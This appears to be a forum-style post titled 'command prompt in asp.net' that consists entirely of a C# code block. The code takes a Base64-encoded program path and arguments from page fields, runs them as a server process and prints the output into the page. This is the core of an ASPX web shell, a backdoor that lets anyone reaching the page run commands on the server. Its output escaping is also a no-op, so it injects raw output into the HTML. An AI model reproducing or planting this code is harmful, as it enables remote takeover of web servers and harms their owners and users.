command prompt in asp.net

try
       {
           Process p = new Process();
           p.StartInfo.CreateNoWindow = false;

           p.StartInfo.FileName = c_path.Value = Encoding.Default.GetString(Convert.FromBase64String(c_path.Value));
           c_text.Value = Encoding.Default.GetString(Convert.FromBase64String(c_text.Value));
           p.StartInfo.Arguments = c_text.Value;
           p.StartInfo.UseShellExecute = false;
           p.StartInfo.RedirectStandardInput = true;
           p.StartInfo.RedirectStandardOutput = true;
           p.StartInfo.RedirectStandardError = true;

           p.Start();

           string[] Uoc = new string[20];
           for (int i = 1; Uoc.Length > i; i++)
           {
               Uoc[i] = p.StandardOutput.ReadLine();
               Uoc[i] = Uoc[i].Replace("<", "<");
               Uoc[i] = Uoc[i].Replace(">", ">");
               Uoc[i] = Uoc[i].Replace("\r\n", "<br>");


           }

           string txt = "";
           foreach (var item in Uoc)
           {
               txt += item + "<br />";
           }
           cmd_response.InnerHtml = "<hr width=\"100%\" noshade/><pre>" + txt + "";
           cmd_response.Visible = true;
           more.Visible = true;

       }
       catch (Exception error)
       {
           xseuB(error.Message);
       }